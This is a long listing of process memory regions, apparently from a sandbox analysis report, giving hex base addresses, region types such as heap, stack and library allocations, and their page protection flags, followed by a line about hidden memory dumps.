||
45BE000
|
heap
|
page read and write
|
||
7FFA3E9EC000
|
trusted library allocation
|
page execute and read and write
|
||
2F3D000
|
stack
|
page read and write
|
||
600000
|
unclassified section
|
page readonly
|
||
45BE000
|
heap
|
page read and write
|
||
7FFA3EB90000
|
trusted library allocation
|
page read and write
|
||
45D0000
|
heap
|
page read and write
|
||
23B159A0000
|
heap
|
page read and write
|
||
2C9E000
|
stack
|
page read and write
|
||
2AA4F5D0000
|
heap
|
page read and write
|
||
46DF000
|
heap
|
page read and write
|
||
29C0000
|
heap
|
page read and write
|
||
2AA51300000
|
trusted library allocation
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
7FFA3EBB0000
|
trusted library allocation
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
7FFA3EA50000
|
trusted library allocation
|
page execute and read and write
|
||
10021000
|
direct allocation
|
page readonly
|
||
45BE000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
58D000
|
stack
|
page read and write
|
||
45DC000
|
heap
|
page read and write
|
||
2AA699D0000
|
heap
|
page execute and read and write
|
||
4D10000
|
trusted library allocation
|
page read and write
|
||
EE849BA000
|
stack
|
page read and write
|
||
66E000
|
unkown
|
page read and write
|
||
4E80000
|
trusted library allocation
|
page read and write
|
||
2AA517B2000
|
trusted library allocation
|
page read and write
|
||
7FFA3EB20000
|
trusted library allocation
|
page execute and read and write
|
||
7FFA3E94C000
|
trusted library allocation
|
page read and write
|
||
EE840FE000
|
stack
|
page read and write
|
||
7FFA3EAE1000
|
trusted library allocation
|
page read and write
|
||
2F58000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
2A40000
|
heap
|
page read and write
|
||
EE8417E000
|
stack
|
page read and write
|
||
AD0000
|
unclassified section
|
page readonly
|
||
EE8443F000
|
stack
|
page read and write
|
||
7FFA3EC20000
|
trusted library allocation
|
page read and write
|
||
45E1000
|
heap
|
page read and write
|
||
EE8483D000
|
stack
|
page read and write
|
||
2C5E000
|
stack
|
page read and write
|
||
2A47000
|
heap
|
page read and write
|
||
3420000
|
heap
|
page read and write
|
||
2C7B000
|
stack
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
2AA51180000
|
trusted library allocation
|
page read and write
|
||
318E000
|
stack
|
page read and write
|
||
7FFA3E9E6000
|
trusted library allocation
|
page read and write
|
||
2E90000
|
heap
|
page read and write
|
||
23B15C15000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
46DF000
|
heap
|
page read and write
|
||
934000
|
heap
|
page read and write
|
||
EE846BE000
|
stack
|
page read and write
|
||
2DA0000
|
heap
|
page read and write
|
||
2AA4F696000
|
heap
|
page read and write
|
||
2DD0000
|
unclassified section
|
page readonly
|
||
45BE000
|
heap
|
page read and write
|
||
4E80000
|
trusted library allocation
|
page read and write
|
||
2A20000
|
heap
|
page read and write
|
||
EE84B3E000
|
stack
|
page read and write
|
||
2DC0000
|
heap
|
page read and write
|
||
7DE000
|
stack
|
page read and write
|
||
2AA51277000
|
heap
|
page execute and read and write
|
||
2F05000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
4584000
|
heap
|
page read and write
|
||
2E0E000
|
stack
|
page read and write
|
||
3270000
|
heap
|
page read and write
|
||
9B0000
|
heap
|
page read and write
|
||
4574000
|
heap
|
page read and write
|
||
45DC000
|
heap
|
page read and write
|
||
38D000
|
stack
|
page read and write
|
||
2AA51310000
|
trusted library allocation
|
page read and write
|
||
2AA4F69C000
|
heap
|
page read and write
|
||
2AA51310000
|
trusted library allocation
|
page read and write
|
||
3378000
|
heap
|
page read and write
|
||
4450000
|
heap
|
page read and write
|
||
3070000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
2AA51330000
|
trusted library allocation
|
page read and write
|
||
2AA513A8000
|
trusted library allocation
|
page read and write
|
||
46E0000
|
heap
|
page read and write
|
||
2AA5151A000
|
trusted library allocation
|
page read and write
|
||
2AA69A45000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
7FFA3E940000
|
trusted library allocation
|
page read and write
|
||
934000
|
heap
|
page read and write
|
||
45E1000
|
heap
|
page read and write
|
||
306E000
|
stack
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
2AA4F657000
|
heap
|
page read and write
|
||
2AA69A49000
|
heap
|
page read and write
|
||
4B81000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
2A56000
|
heap
|
page read and write
|
||
EE83D42000
|
stack
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
46DF000
|
heap
|
page read and write
|
||
325D000
|
stack
|
page read and write
|
||
EE8564E000
|
stack
|
page read and write
|
||
4574000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
23B15930000
|
heap
|
page read and write
|
||
2CEE000
|
stack
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
2AA5146E000
|
trusted library allocation
|
page read and write
|
||
4E80000
|
trusted library allocation
|
page read and write
|
||
660000
|
unclassified section
|
page readonly
|
||
2E8F000
|
stack
|
page read and write
|
||
EE848B7000
|
stack
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
33DE000
|
stack
|
page read and write
|
||
790000
|
unclassified section
|
page readonly
|
||
2AA4F9A5000
|
heap
|
page read and write
|
||
8B0000
|
heap
|
page read and write
|
||
2AA51340000
|
heap
|
page read and write
|
||
EE8407E000
|
stack
|
page read and write
|
||
2BE0000
|
unclassified section
|
page readonly
|
||
2CBF000
|
stack
|
page read and write
|
||
4E80000
|
trusted library allocation
|
page read and write
|
||
9F73C7C000
|
stack
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
33D0000
|
heap
|
page read and write
|
||
45C0000
|
heap
|
page read and write
|
||
1FF357E5000
|
heap
|
page read and write
|
||
AD0000
|
heap
|
page read and write
|
||
6937C000
|
unkown
|
page readonly
|
||
693AB000
|
unkown
|
page readonly
|
||
2E30000
|
heap
|
page read and write
|
||
2F90000
|
heap
|
page read and write
|
||
4568000
|
heap
|
page read and write
|
||
3CD000
|
stack
|
page read and write
|
||
4584000
|
heap
|
page read and write
|
||
1FF35817000
|
heap
|
page read and write
|
||
7FFA3EB12000
|
trusted library allocation
|
page read and write
|
||
2D30000
|
unclassified section
|
page readonly
|
||
2AA51462000
|
trusted library allocation
|
page read and write
|
||
4E80000
|
trusted library allocation
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
337F000
|
heap
|
page read and write
|
||
3383000
|
heap
|
page read and write
|
||
2F60000
|
heap
|
page read and write
|
||
45DC000
|
heap
|
page read and write
|
||
3DD000
|
stack
|
page read and write
|
||
2AA51373000
|
trusted library allocation
|
page read and write
|
||
2E60000
|
heap
|
page read and write
|
||
2AA4F6AE000
|
heap
|
page read and write
|
||
45DC000
|
heap
|
page read and write
|
||
6D51000
|
heap
|
page read and write
|
||
2AA513E3000
|
trusted library allocation
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
31CE000
|
stack
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
4568000
|
heap
|
page read and write
|
||
33E8000
|
heap
|
page read and write
|
||
5F54000
|
heap
|
page read and write
|
||
EE8463E000
|
stack
|
page read and write
|
||
5FCC000
|
heap
|
page read and write
|
||
2AC0000
|
heap
|
page read and write
|
||
5F54000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
2AA51351000
|
trusted library allocation
|
page read and write
|
||
45DC000
|
heap
|
page read and write
|
||
2BDE000
|
stack
|
page read and write
|
||
2EC0000
|
heap
|
page read and write
|
||
7FFA3EBF0000
|
trusted library allocation
|
page read and write
|
||
7FFA3EC00000
|
trusted library allocation
|
page read and write
|
||
31AE000
|
stack
|
page read and write
|
||
2ECE000
|
stack
|
page read and write
|
||
3805000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
7FFA3EC10000
|
trusted library allocation
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
2CAE000
|
stack
|
page read and write
|
||
2AA513BB000
|
trusted library allocation
|
page read and write
|
||
27ED000
|
stack
|
page read and write
|
||
ABD000
|
stack
|
page read and write
|
||
2AA697F3000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
2AA4F8A0000
|
heap
|
page read and write
|
||
2F6B000
|
heap
|
page read and write
|
||
352E000
|
stack
|
page read and write
|
||
45C1000
|
heap
|
page read and write
|
||
2AA51370000
|
trusted library allocation
|
page read and write
|
||
3240000
|
heap
|
page read and write
|
||
46DF000
|
heap
|
page read and write
|
||
2A64000
|
heap
|
page read and write
|
||
2AA4F701000
|
heap
|
page read and write
|
||
3660000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
35A0000
|
heap
|
page read and write
|
||
2F50000
|
unclassified section
|
page readonly
|
||
45D0000
|
heap
|
page read and write
|
||
3620000
|
heap
|
page read and write
|
||
33AE000
|
stack
|
page read and write
|
||
2AB0000
|
heap
|
page read and write
|
||
7FFA3E934000
|
trusted library allocation
|
page read and write
|
||
3700000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
1FF357E0000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
2E7E000
|
stack
|
page read and write
|
||
934000
|
heap
|
page read and write
|
||
2B2D000
|
stack
|
page read and write
|
||
7FFA3E932000
|
trusted library allocation
|
page read and write
|
||
B30000
|
heap
|
page read and write
|
||
934000
|
heap
|
page read and write
|
||
2DE0000
|
heap
|
page read and write
|
||
360000
|
unclassified section
|
page readonly
|
||
4568000
|
heap
|
page read and write
|
||
2AA69810000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
2AA514AC000
|
trusted library allocation
|
page read and write
|
||
EE8493D000
|
stack
|
page read and write
|
||
3075000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
23B15A04000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
2BBF000
|
unkown
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
6070000
|
trusted library allocation
|
page read and write
|
||
2F2E000
|
stack
|
page read and write
|
||
35DE000
|
stack
|
page read and write
|
||
3315000
|
heap
|
page read and write
|
||
2BD0000
|
heap
|
page read and write
|
||
2E3E000
|
stack
|
page read and write
|
||
6563000
|
heap
|
page read and write
|
||
1001F000
|
direct allocation
|
page read and write
|
||
5F54000
|
heap
|
page read and write
|
||
33E0000
|
heap
|
page read and write
|
||
2A50000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
46E0000
|
heap
|
page read and write
|
||
2AA51303000
|
trusted library allocation
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
45C1000
|
heap
|
page read and write
|
||
34EE000
|
stack
|
page read and write
|
||
4E80000
|
trusted library allocation
|
page read and write
|
||
2D50000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
45BE000
|
heap
|
page read and write
|
||
3077000
|
heap
|
page read and write
|
||
EE84A3D000
|
stack
|
page read and write
|
||
23B159E0000
|
heap
|
page read and write
|
There are 647 hidden memdumps, click here to show them.